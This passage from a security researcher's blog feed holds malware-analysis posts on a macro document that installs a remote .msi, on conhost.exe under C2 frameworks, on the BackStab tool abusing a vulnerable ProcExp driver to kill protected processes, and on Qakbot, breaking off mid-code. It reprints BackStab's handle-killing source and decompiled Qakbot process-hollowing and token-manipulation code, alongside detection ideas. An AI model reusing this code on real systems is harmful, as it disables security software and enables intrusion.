</strong>(<strong>0x0d 0x0a</strong>) and <strong>spaces </strong>(<strong>0x20</strong>). This looks suspicious as other content data are in base64 too but there is no such anomaly pattern in their base64 string data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*eA3GlxR3YyaCkv2iDfr_GQ.png" /><figcaption>Lots of spaces 🥱</figcaption></figure><p>In order to filter out the unrelated base64 strings, we can hex dump the content and pass it to CyberChef or your own script to clean up the data.</p><p>After cleaning the file, followed by the base64 decode, a notable magic header ActiveMime appears right away which caught my attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIfK823eW4Kh7zahDgbmbw.png" /><figcaption>ActiveMime Magic Header 🤔</figcaption></figure><p>Did a quick search on ActiveMime strings in Google and it lead me to this blog from <a href="https://blog.xpnsec.com/apt32-phishing-malware/">xpnsec</a> which provides a way to deal with this kind of file. I will just re-implement his solution in CyberChef this time.</p><p>Basically just remove the <strong>first 50 bytes</strong> of the <strong>base64 decoded data</strong> (The one with ActiveMime magic header) and <strong>zlib decompress </strong>it.</p><p>A successful decompress will give us a OLE file which can be saved and perform a full string dump it via <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py">oledump.py</a> from <a href="https://blog.didierstevens.com/">Didier Stevens</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PC6sXJXkXZW36c7Ffgw-4w.png" /><figcaption>OLE File Get!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*FdVAPbmfnaK2H8axwUdzCQ.png" /><figcaption>Output from oledump.py string dump</figcaption></figure><p>From the vba macro code above, it will launch a windows installer function that call <a href="https://learn.microsoft.com/en-us/windows/win32/msi/installer-installproduct">InstallProduct</a> to <a href="https://learn.microsoft.com/en-us/windows/win32/msi/downloading-an-installation-from-the-internet">download and install</a> a .msi installer file from a remote site once the user open the document (Usually there will have a warning before enabling the macro, so it won’t be execute directly 😌).</p><p>The InstallProduct VBA function is equivalent to msiexec.exe</p><pre>msiexec.exe /i https://server/share/package.msi</pre><h3>Interesting Artifact</h3><p>It was quite interesting that it will generate a CreateFile event on the C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86 folder path from MS Office which contains the full url of the next stage payload. It seems like the folder will be used store the .msi file for installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKFD4mtJXYYcLM82FzPEqA.png" /><figcaption>Next Stage URL Found In File Path</figcaption></figure><p>Since it is running within a closed network, therefore there is no other events found after that. Therefore, I tried to simulate the behavior frommsiexec.exe with a legit .msi url link to check for its full event.</p><p>Running a msiexec.exe on a random .msi file (in this case is orca.msi) shows similar url pattern in the default download path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*JB0oSzUMEZRbSnj8_uIawg.png" /></figure><p>Based on the <a href="https://learn.microsoft.com/en-us/windows/win32/msi/downloading-an-installation-from-the-internet">blog</a> in Microsoft:</p><blockquote>If the installation database is at a URL, the installer<strong> downloads the database to a cache location </strong>before starting the installation.</blockquote><blockquote>The cache location is in %windir%\installer and it is system protected folder.</blockquote><p>When the orca.msi file from the target url started to receive by the machine successfully (When a installation prompt is shown), its initiating process tries to create a copy of the .msi file with some hashed file name (In this case is 77f4f0.msi) into the cache folder. However, there is no actual file created yet in the cache file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3jRO4fqpsvc64AaeHIIXA.png" /><figcaption>The PID changed after user click on the Install button of the .msi file</figcaption></figure><p>The 77f4f0.msi file created after Install button was clicked where the installer starts to drop all its file into the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*FZ03zn7B_8un8ZDoPCjHtw.png" /><figcaption>Install!!</figcaption></figure><p>Besides those behavioral indicator, we can check for any file with .doc extension (not limit to that) that identify as PDF file that create a outbound connection to suspicious url.</p><p>These artifact can be a good indicator to hunt for those suspicious .msi url download activities.</p><h3>References</h3><p><a href="https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html">https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html</a></p><p><a href="https://blog.xpnsec.com/apt32-phishing-malware/">https://blog.xpnsec.com/apt32-phishing-malware/</a></p><p><a href="https://twitter.com/wdormann/status/1696197904262742370">https://twitter.com/wdormann/status/1696197904262742370</a></p><p><a href="https://learn.microsoft.com/en-us/dotnet/api/system.environment.specialfolder?view=net-7.0">https://learn.microsoft.com/en-us/dotnet/api/system.environment.specialfolder?view=net-7.0</a></p><p>CyberChef recipe to decode the suspicious base64 payload</p><pre>Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;(0D 0A |20)&#39;},&#39;&#39;,true,false,true,false)<br>From_Hex(&#39;Auto&#39;)<br>From_Base64(&#39;A-Za-z0-9+/=&#39;,true,false)<br>Drop_bytes(0,50,false)<br>Zlib_Inflate(0,0,&#39;Adaptive&#39;,false,false)<br>To_Hexdump(16,false,false,false)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f218c96ab3c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Mal Series #25] The spawn of conhost.exe]]></title>
            <link>https://ghoulsec.medium.com/mal-series-25-the-spawn-of-conhost-exe-9514b61a4f18?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/9514b61a4f18</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Tue, 30 May 2023 13:43:41 GMT</pubDate>
            <atom:updated>2023-07-21T11:03:05.879Z</atom:updated>
            <content:encoded><![CDATA[<p>When I was playing with some red teaming toolkit, found out conhost.exe 0xffffffff -ForceV1 process is quite interesting. Therefore, this blog will explain why this happened based on my understanding.</p><p>Based on the Mandiant <a href="https://www.mandiant.com/resources/blog/monitoring-windows-console-activity-part-one">blog</a>, conhost.exe is related with windows console host which is responsible in handling console input thread. For better understanding, it is encourage to read their blog.</p><p>Since most of the windows based computer now is using Windows 10 (soon might move to Windows 11 😏), the finding will be stick to Windows 10 environment only or Windows version that follows the similar architecture.</p><p>In Windows 10, conhost.exe will be spawn as a child process of any process that spawn windows shell process (e.g. powershell.exe &amp; cmd.exe)</p><p>To see how this works on the C2 framework, I had tried on few of them:</p><ol><li>Meterpreter</li><li>CobaltStrike</li><li>Havoc</li></ol><p>For Meterpreter reverse shell, it establishes a live shell console with the client and the conhost.exe will be spawn under its injected process.</p><p>Since shell command used in the meterpreter to get the reverse shell in the client, both processes cmd.exe and conhost.exe are always active (non-greyout).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*1ZS22PVUz0opgESOL6uBHQ.png" /><figcaption>(Meterpreter) conhost.exe spawned when the server issue a full cmd reverse shell to client</figcaption></figure><p>The agent for CobaltStrike and Havoc works similar, which they <strong>didn’t</strong> establish a live shell console with the client (Since only shell command is used). User only can perform shell command one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*SKac66bOsldNdJBz6mUG7Q.png" /><figcaption>(Havoc) conhost.exe spawned when the server issue a cmd shell command to client</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*pfU3lkUnkD048rqAQrNCkg.png" /><figcaption>(Havoc) conhost.exe spawned when the server issue a powershell command to client</figcaption></figure><p>conhost.exe will keep alive under any injected process that contains the beacon payload as long as the window console still remain active. This might be not that stealthy in a sense.</p><p>Why 0xffffffffappeared as argument in conhost.exe? You may refer <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid#return-value">here</a>. Based on my understanding on the <strong>return value</strong> section from MS doc, most of the time the session identifier will attach to a physical console (If not mistaken physical console refers to monitor, keyboard etc) and the beacon is utilizing reverse shell that might cause no physical console for the session to attach to ... maybe 🤔🤔🤔</p><h4>Afterthought</h4><p>Since conhost.exe will be spawn under any parent process that utilizing windows console and it is common in windows machines. Defender have to figure out any <strong>unusual parent processes</strong> that spawn conhost.exe in their environment to find out the true positive.</p><p>This not only limited to those C2 framework but also any prevalent malware that is capable of executing windows command such as Qakbot.</p><h4>Fun Stuff</h4><p>Actually you can execute a program by using conhost.exe &lt;PROGRAM_PATH&gt;. The execution of the process are handled by CreateProcessW()</p><p>Execute conhost.exe or conhost.exe cmd will spawn a cmd in with new windows. The default command line for conhost.exe is cmd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*df1ic8PmKY-juIavaBhQTA.png" /><figcaption>Default command line</figcaption></figure><p>Execute conhost.exe powershell will spawn a powershell console in new window.</p><p>You can execute any command with the use of windows command shell. Example:conhost cmd /c mkdir test</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0dRRZnvf9E4r4uJWVnvFCQ.png" /><figcaption>Example of using conhost.exe -&gt; cmd.exe to execute a binary file</figcaption></figure><h4>References</h4><ul><li><a href="https://www.mandiant.com/resources/blog/monitoring-windows-console-activity-part-one">Monitoring Windows Console Activity (Part 1) | Mandiant</a></li><li><a href="https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html">Conhost Spawned By Suspicious Parent Process | Elastic Security Solution [8.8] | Elastic</a></li><li><a href="https://github.com/microsoft/terminal/issues/8101">OpenConsole.exe vs conhost.exe, questions · Issue #8101 · microsoft/terminal</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9514b61a4f18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Misc Series #3] Vuln ProcExp 16.32]]></title>
            <link>https://ghoulsec.medium.com/misc-series-3-vuln-procexp-16-32-fd5f0bfa2e43?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd5f0bfa2e43</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Thu, 11 May 2023 14:15:40 GMT</pubDate>
            <atom:updated>2023-05-31T09:43:00.048Z</atom:updated>
            <content:encoded><![CDATA[<p>There is a blog on <a href="https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/">CheckPoint Research</a> and <a href="https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/">Sophos</a> mentioned about this vulnerable driver has been abused in various incident to terminate protected process especially anti-malware related process.</p><p>Here is the short note on the how does the driver able to terminate any process. To make things easier, I will just refer to the OSS project <a href="https://github.com/Yaxser/Backstab/tree/master"><strong>BackStab</strong></a>, protected process killer by <a href="https://github.com/Yaxser">Yaxser</a>.</p><p>There is a driver function that is responsible to <a href="https://github.com/Yaxser/Backstab/blob/master/Backstab/ProcExp.c#L25-L46">open a protected process handle</a> and determine the <a href="https://github.com/Yaxser/Backstab/blob/master/Backstab/ppl.c#L52-L86">level of protected process level</a> which I didn’t cover in this case.</p><p>The binary will load a vulnerable PROCEXP driver (version 16.32) which is enable user to perform arbitrary file termination by sending a specific IO control code. One of the most important of part is that the vulnerable driver is a <strong>Microsoft signed driver</strong> which most of the anti-malware products will just ignore it if they didn’t revoke the signed cert in their database.</p><p>So far I’m just tested against a normal process notepad.exe. Based on the test in my own environment, there are some difference when it comes to the process termination via driver and a normal process termination.</p><p>For process termination via driver, there is an error spawned werfault.exe before the <strong>process exit</strong> event with exit <strong>status non-zero</strong>.</p><p>Here are the screenshots of the events captured by process monitor.</p><p>This is the normal flow of process termination for notepad.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jw1mMNVL88-yr7Y1JFz1Ew.png" /><figcaption>Normal termination flow for notepad.exe</figcaption></figure><p>Meanwhile, this is the process termination flow of notepad.exe with BackStab.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmBFqVxKIxg7TVf6eI__3A.png" /><figcaption>Termination of notepad.exe via Backstab.exe</figcaption></figure><p>I’m guessing the reason for that werfault.exe was spawn because of force closing of the object handle that crash the process.</p><p>Based on the KillProcessHandles() <a href="https://github.com/Yaxser/Backstab/blob/master/Backstab/Process.c#L168-L196">source code</a> in the project, it will loop through the SYSTEM_HANDLE_INFORMATION table and find out the process handle that matches PID of the targeted process. The matched process handle will pass into ProcExpKillHandle() as part of the struct PROCEXP_DATA_EXCHANGE</p><pre>VOID KillProcessHandles(HANDLE hProcess) {<br><br> DWORD dwPID = GetProcessId(hProcess);<br> ULONG ulReturnLenght = 0;<br><br> //allocating memory for the SYSTEM_HANDLE_INFORMATION structure in the heap<br><br> PSYSTEM_HANDLE_INFORMATION handleTableInformation = GetHandleInformationTable();<br><br> for (ULONG i = 0; i &lt; handleTableInformation-&gt;HandleCount; i++)<br> {<br>  SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = handleTableInformation-&gt;Handles[i];<br><br>  if (handleInfo.ProcessId == dwPID) //meaning that the handle is within our process of interest<br>  {<br>   /* Check if the process is already killed every 15 closed handles (otherwise we&#39;ll keep trying to close handles that are already closed) */<br>   if (i % 15 == 0)<br>   {<br>    DWORD dwProcStatus = 0;<br>    GetExitCodeProcess(hProcess, &amp;dwProcStatus);<br>    if (dwProcStatus != STILL_ACTIVE)<br>    {<br>     return;<br>    }   <br>   }<br>   ProcExpKillHandle(dwPID, handleInfo.Handle);<br>  }<br> }<br>}</pre><p>From <a href="https://github.com/Yaxser/Backstab/blob/master/Backstab/ProcExp.c#L48-L76">ProcExpKillHandle()</a>, a structure with type PROCEXP_DATA_EXCHANGE is created and it contains PID, handle and handle object address from the targeted process.</p><p>The data will be send to the kernel driver via DeviceIoControl() with IO control code IOCTL_CLOSE_HANDLE</p><p>Just in case, here is the source code for <a href="https://github.com/Yaxser/Backstab/blob/ed1fd61beb995a83cb359f216ab297e01b985339/Backstab/Process.c#L83-L102">GetObjectAddressFromHandle</a>()</p><pre><br>BOOL ProcExpKillHandle(DWORD dwPID, ULONGLONG usHandle) {<br><br> PVOID lpObjectAddressToClose = NULL;<br> PROCEXP_DATA_EXCHANGE ctrl = { 0 };<br> BOOL bRet = FALSE;<br><br> /* find the object address */<br> lpObjectAddressToClose = GetObjectAddressFromHandle(dwPID, (USHORT)usHandle);<br><br> /* populate the data structure */<br> ctrl.ulPID = dwPID;<br> ctrl.ulSize = 0;<br> ctrl.ulHandle = usHandle;<br> ctrl.lpObjectAddress = lpObjectAddressToClose;<br><br> /* send the kill command */<br><br> bRet = DeviceIoControl(hProcExpDevice, IOCTL_CLOSE_HANDLE, (LPVOID)&amp;ctrl, sizeof(PROCEXP_DATA_EXCHANGE), NULL,<br>  0,<br>  NULL,<br>  NULL);<br><br> if (!bRet)<br>  return Error(&quot;ProcExpKillHandle.DeviceIoControl&quot;);<br><br> return TRUE;<br>}</pre><p>Inside the function that handles IOCTL_CLOSE_HANDLE, it will attach the process first and search for the handle object and terminate it via <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obclosehandle">ObCloseHandle()</a>.</p><p>Only user mode handle will be close since both <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obreferenceobjectbyhandle">ObReferenceObjectByHandle()</a> and ObCloseHandle() set the access mode to USER_MODE.</p><pre>__int64 __fastcall IOCTL_CLOSE_HANDLE(PROCEXP_DATA_EXCHANGE *data_exchg)<br>{<br>  __int64 result; // rax<br>  __int64 USER_MODE_1; // r9<br>  __int64 USER_MODE; // rdx<br>  int v5; // edi<br>  __int64 v6; // rcx<br>  char ApcState[56]; // [rsp+30h] [rbp-38h] BYREF<br>  __int64 EPROCESS; // [rsp+70h] [rbp+8h] BYREF<br>  __int64 Object; // [rsp+78h] [rbp+10h] BYREF<br>  char HandleInformation; // [rsp+80h] [rbp+18h] BYREF<br><br>  result = PsLookupProcessByProcessId(LODWORD(data_exchg-&gt;ulPID), &amp;EPROCESS);<br>  if ( (int)result &gt;= 0 )<br>  {<br>    KeStackAttachProcess(EPROCESS, ApcState);   // Attach process<br>    LOBYTE(USER_MODE_1) = 1;<br>    v5 = ObReferenceObjectByHandle(data_exchg-&gt;lpObjectAddress, 0i64, 0i64, USER_MODE_1, &amp;Object, &amp;HandleInformation);// Get object handle of the process<br>    if ( v5 &gt;= 0 )<br>    {<br>      v6 = Object;<br>      if ( Object == data_exchg-&gt;ulSize )<br>      {<br>        LOBYTE(USER_MODE) = 1;<br>        ObCloseHandle(data_exchg-&gt;lpObjectAddress, USER_MODE);// Close the object handle<br>        v6 = Object;<br>      }<br>      ObfDereferenceObject(v6);                 // Deallocate / Decrement reference count<br>    }<br>    KeUnstackDetachProcess(ApcState);           // Detach process<br>    ObfDereferenceObject(EPROCESS);<br>    return (unsigned int)v5;<br>  }<br>  return result;<br>}</pre><p>Remember that there is a loop in KillProcessHandles() to make sure all the handle object in the process will be removed in each iteration.</p><p>Screenshot below shows the example of the Handle objects in <strong>Handles </strong>tab of Process Hacker.</p><blockquote>Each Handle is 4 bytes in size</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*ZxyrOa_6Ejak0u8YmvUZfQ.png" /><figcaption>Handle list of notepad.exe</figcaption></figure><h4>Detection Ideas</h4><p>Process creation of Wefault.exe followed with Process Exit event on any protected process.</p><p>Dropping of vulnerable PROCEXP driver (version 16.32) in common user folders.</p><h4>References</h4><ul><li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-keunstackdetachprocess">KeUnstackDetachProcess function (ntifs.h) - Windows drivers</a></li><li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess">KeStackAttachProcess function (ntifs.h) - Windows drivers</a></li><li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obclosehandle">ObCloseHandle function (wdm.h) - Windows drivers</a></li><li><a href="https://github.com/ufrisk/pcileech/blob/master/pcileech_shellcode/wx64_pscreate.c">pcileech/wx64_pscreate.c at master · ufrisk/pcileech</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd5f0bfa2e43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Mal Series #24] Qakbot BB12 DLL Analysis 2023]]></title>
            <link>https://ghoulsec.medium.com/mal-series-24-qakbot-bb12-dll-analysis-2023-13c1da030ef7?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/13c1da030ef7</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[qakbot]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Sun, 05 Mar 2023 13:00:38 GMT</pubDate>
            <atom:updated>2023-04-17T11:50:36.501Z</atom:updated>
            <content:encoded><![CDATA[<p>There is already a comprehensive analysis on Qakbot already from <a href="https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html">VinCSS Blog</a> (2021) and <a href="https://www.elastic.co/security-labs/qbot-malware-analysis">Elastic Security Labs</a> (2022), Kudos to them!! It seems like there is not much changes since 2021 and 2022 in terms of Its core function. The obvious changes is the implementation of <strong>double RC4 encryption</strong> on the resource file and <strong>Mersenne Twister</strong> + <strong>Issac Random</strong> random number generator.</p><p>It does have a lot of adaptation on both 32/64-bit system, checking account privilege.</p><p>This is my first time using ChatGPT to make my life easier also 🤣</p><h4>In general:</h4><p>Unpacker -&gt; Shellcode -&gt; 1st stage -&gt; 2nd stage<br>* 1st stage and 2nd stage are from the same file with different flow of execution</p><h3>Unpacker</h3><p>Just normal Virtual* to drop the payload. After executing ZwFlushInstructionCache, it will proceed to the memory of Qakbot shellcode unpacker.</p><h3>Shellcode</h3><p>1st payload will be unpack over here, I guess there is some compression on the payload (Didn’t go check on this). The decompress and address alignment will be done here too before move on to the 1st stage of the actual Qakbot payload.</p><h3>1st stage</h3><h4>Process hollowing on selected processes</h4><pre>// To be injected process list decryption<br>  v8 = this;<br>  if ( (qbot_s-&gt;is_some_proc_found &amp; 0x204) != 0 )<br>  {<br>    if ( qbot_s-&gt;is_sys_64_bit )<br>    {<br>      v10 = 0x8F9; // %SystemRoot%\SysWOW64\AtBroker.exe<br>      goto LABEL_7;<br>    }<br>    v10 = 0x670; // %SystemRoot%\System32\AtBroker.exe<br>  }<br>  else<br>  {<br>    if ( qbot_s-&gt;is_sys_64_bit )<br>    {<br>      v10 = 0x8CD; // %SystemRoot%\SysWOW64\wermgr.exe<br>LABEL_7:<br>      v11 = 0x1034; // %SystemRoot%\SysWOW64\msra.exe<br>      v12 = 0x734; // %ProgramFiles(x86)%\Internet Explorer\iexplore.exe<br>      goto LABEL_10;<br>    }<br>    v10 = 0x214; // %SystemRoot%\System32\wermgr.exe<br>  }<br>  v12 = 0xD9C; // %ProgramFiles%\Internet Explorer\iexplore.exe<br>  v11 = 0x310; // %SystemRoot%\System32\msra.exe<br>LABEL_10:<br>  result = mlwr_allocheap(12);<br>  v7 = result;<br>  if ( result )<br>  {<br>    v2 = result;<br>    v3 = &amp;v10 - result;<br>    v4 = 3;<br>    do<br>    {<br>      v5 = decrypt_str(*&amp;v2[v3]); // Get process name here</pre><h4>Process Hollowing using Zw library from ntdll</h4><pre>...<br>v4 = mlw_process_hollow(*a1, a3);<br>    if ( v4 )<br>    {<br>      memset(v9, 0, sizeof(v9));<br>      v9[0] = 65538;<br>      if ( (kernel32_struct-&gt;GetThreadContext)(a1[1], v9) )<br>      {<br>        v14 = 0;<br>        v11 = -23;<br>        v12 = a2 - 5 + v4 - v9[44] - a3;<br>        v15 = 5;<br>        v13 = v9[44];<br>        if ( (ntdll_struct-&gt;ZwProtectVirtualMemory)(*a1, &amp;v13, &amp;v15, 4, &amp;v14) &lt; 0<br>          || (ntdll_struct-&gt;ZwWriteVirtualMemory)(*a1, v9[44], &amp;v11, 5, &amp;v15) &lt; 0<br>          || (v10 = 0, (ntdll_struct-&gt;ZwProtectVirtualMemory)(*a1, &amp;v13, &amp;v15, v14, &amp;v10) &lt; 0) )<br>        {<br>          v4 = 0;<br>        }<br>      }<br>...</pre><p>Create memory section on the target process and write the itself into target process memory.</p><p>Be careful if there is any software break point (0xcc, int3) set within the section, it will break the code when the execution continue in target process. Just clear all the software break point before ZwMapViewOfSection</p><pre>// From mlw_process_hollow <br>if ( *v5 == &#39;EP&#39; &amp;&amp; (v22[0] = v5[20], (ntdll_struct-&gt;ZwCreateSection)(<br>                                          &amp;v28,<br>                                          14,<br>                                          0,<br>                                          v22,<br>                                          64,<br>                                          0x8000000,<br>                                          0) &gt;= 0) )<br>  {<br>    ... some CreateWindows Function ...<br>    v7 = ntdll_struct;<br>    v8 = (kernel32_struct-&gt;GetCurrentProcess)(&amp;v29, 0, 0, 0, &amp;v27, 2, 0, 64);<br>    v9 = (v7-&gt;ZwMapViewOfSection)(v28, v8);<br>    v10 = v30;<br>    if ( v9 &gt;= 0 &amp;&amp; (ntdll_struct-&gt;ZwMapViewOfSection)(v28, v30, &amp;v31, 0, 0, 0, &amp;v27, 2, 0, 64) &gt;= 0 )<br>    {<br>      v11 = sub_1000A085(qbot_s, 0x1AC4);<br>      v32 = v11;<br>      if ( v11 )<br>      {<br>        v11-&gt;rsrc_component_08 = v31;<br>        v12 = (kernel32_struct-&gt;VirtualAllocEx)(v10, 0, 6852, 4096, 4);<br>        (kernel32_struct-&gt;WriteProcessMemory)(v30, v12, v32, 6852, &amp;v26);</pre><p>After the execution of ResumeThread, it will move on to the 2nd stage.</p><h3>2nd Stage</h3><h4>Create Mutex and Pipe</h4><p>All the name generated from <strong>Mersenne Twister</strong> + <strong>Issac Random </strong>combination with format {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}</p><pre>mlwr_Mersenne_Twister(a2, v4);<br>...  <br>sub_10015C09(a2, v5, 0x10u);<br>v6 = (issac_random(a2) &amp; 0xF) + 64;<br>v8 = issac_random(a2) % 0x30 + 0x80;<br>v16 = str_dec_2();                            // {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}<br>snprinftw(a1, 40, v16, v5[0], v5[1], v5[2], v5[3], v5[4], v5[5], v6, v7, v8, v9, v10, v11, v12, v13, v14, v15);<br>mlwr_buf_check(&amp;v16);<br>return 0;</pre><p>After that both mutex and pipe created via Windows API CreateMutex* and CreateNamedPipe*</p><p>As stated from Elastic blog, it has two ways to call CreateNamedPipe based on the user privilege (by comparing SID value)</p><pre>// If the user has higher privilege<br>if ( proc_sid )<br>  is_equal_sid = (advapi_struct-&gt;EqualSid)(proc_sid, *qbot_s-&gt;required_SID);<br>if ( !mlwr_check_local_sys_acc_sid(proc_sid) &amp;&amp; !mlwr_is_sid_profile_image_exist(v32, proc_sid, 0x105) )<br>  return status;                              // if not local system and %systemroot% can&#39;t be read)<br>...<br>v12 = (kernel32_struct-&gt;CreateNamedPipeA)(<br>        pipe_name, <br>        0x80003, <br>        6, <br>        0xFF, <br>        0x400, 0x400, 0, 0);<br>        <br>// Low user privilege<br>kernel32_struct-&gt;CreateNamedPipeA)(<br>                  pipe_name,<br>                  0x80003,                      // FILE_FLAG_FIRST_PIPE_INSTANCE<br>                  6,                            // PIPE_READMODE_MESSAGE | PIPE_TYPE_MESSAGE<br>                  0xFF,<br>                  0x80000, 0x80000, 0, v3 != 0 ? v5 : 0);</pre><h4>Set low integrity pipe security descriptor</h4><p>If the user privilege is low, it will set low integrity to its pipe created in order to facilitate between the connection of different Qakbot module.</p><pre>// After CreateNamePipe with low priv<br>...<br>v3 = decrypt_str(0x64Cu);                     //  S:(ML;;NW;;;LW): LOW_INTEGRITY_LABEL_SACL <br>  if ( (advapi_struct-&gt;ConvertStringSecurityDescriptorToSecurityDescriptorW)(v3, 1, &amp;v7, 0) )<br>  {<br>    if ( (advapi_struct-&gt;GetSecurityDescriptorSacl)(v7, &amp;v4, &amp;pSacl, &amp;v5)<br>      &amp;&amp; !(advapi_struct-&gt;SetSecurityInfo)(pipe_handle, 6, 0x10, 0, 0, 0, pSacl) )// 0x6:SE_KERNEL_OBJECT<br>                                                // 0x10: LABEL_SECURITY_INFORMATION </pre><h4>Check Full Envrionment in ProfileImagePath based on SID</h4><p>This is another check the determine whether to process is run under SYSTEM account, it might able to check for other privilege level based on the input.</p><pre>int __usercall mlwr_get_profile_image_path@&lt;eax&gt;(int a1@&lt;edx&gt;, int sid@&lt;ecx&gt;, int a3)<br>{<br>  int v3; // edi<br>  int result; // eax<br>  int v6; // esi<br>  int val_0; // esi<br>  int v8; // [esp+8h] [ebp-Ch] BYREF<br>  int v9; // [esp+Ch] [ebp-8h] BYREF<br>  int str_sid; // [esp+10h] [ebp-4h] BYREF<br><br>  v3 = 0;<br>  str_sid = 0;<br>  result = (advapi_struct-&gt;ConvertSidToStringSidW)(sid, &amp;str_sid);<br>  if ( result )<br>  {<br>    v9 = str_dec_3(0xD1); // SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList<br>    v6 = str_concat(v9);<br>    mlwr_heap_free(&amp;v9);<br>    v9 = str_dec_3(0x539); // ProfileImageList<br>    val_0 = mlwr_reg_query_val_0(v6, v9);<br>    v8 = val_0;<br>    mlwr_heap_free(&amp;v9);<br>    if ( val_0 )<br>    {<br>      (shlwapi_struct-&gt;PathUnquoteSpacesW)(val_0);<br>      if ( (kernel32_struct-&gt;ExpandEnvironmentStringsW)(val_0, a1, a3) )// Expand %systemroot% to full path<br>        v3 = 1;<br>    }<br>    if ( str_sid )<br>      (kernel32_struct-&gt;LocalFree)(str_sid);<br>    heap_dealloc(&amp;v8, -2);<br>    return v3;<br>  }<br>  return result;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*dGcuBy6tMTZ7gYQ5ibLN7A.png" /><figcaption>Illustration of ProfileImagePath</figcaption></figure><h4>Check current process is local system account</h4><pre>int __thiscall mlwr_check_local_sys_acc_sid(void *this)<br>{<br>  int result; // eax<br>  int v3; // esi<br>  int v4; // [esp+4h] [ebp-Ch] BYREF<br>  __int16 v5; // [esp+8h] [ebp-8h]<br>  int pSid; // [esp+Ch] [ebp-4h] BYREF<br><br>  v5 = 1280;<br>  v4 = 0;<br>  result = (advapi_struct-&gt;AllocateAndInitializeSid)(&amp;v4, <br>            1, // Count<br>            18, // 18 = SECURITY_LOCAL_SYSTEM_RID<br>            0, 0, 0, 0, 0, 0, 0, &amp;pSid);<br>  if ( result )<br>  {<br>    v3 = (advapi_struct-&gt;EqualSid)(this, pSid);<br>    (advapi_struct-&gt;FreeSid)(pSid);<br>    return v3;<br>  }<br>  return result;<br>}</pre><h4>Access Token Manipulation</h4><p>If the executing file has SYSTEM privilege, it can create any process with with similar SYSTEM token by calling CreateProcessAsUserW with the privileged token.</p><pre>if ( !*wtsapi_QueryUserToken )                // Trellix blog on BlackMatter got explaination on this<br>    return 0;<br>  if ( !(*wtsapi_QueryUserToken)(*session_id, &amp;token) )// 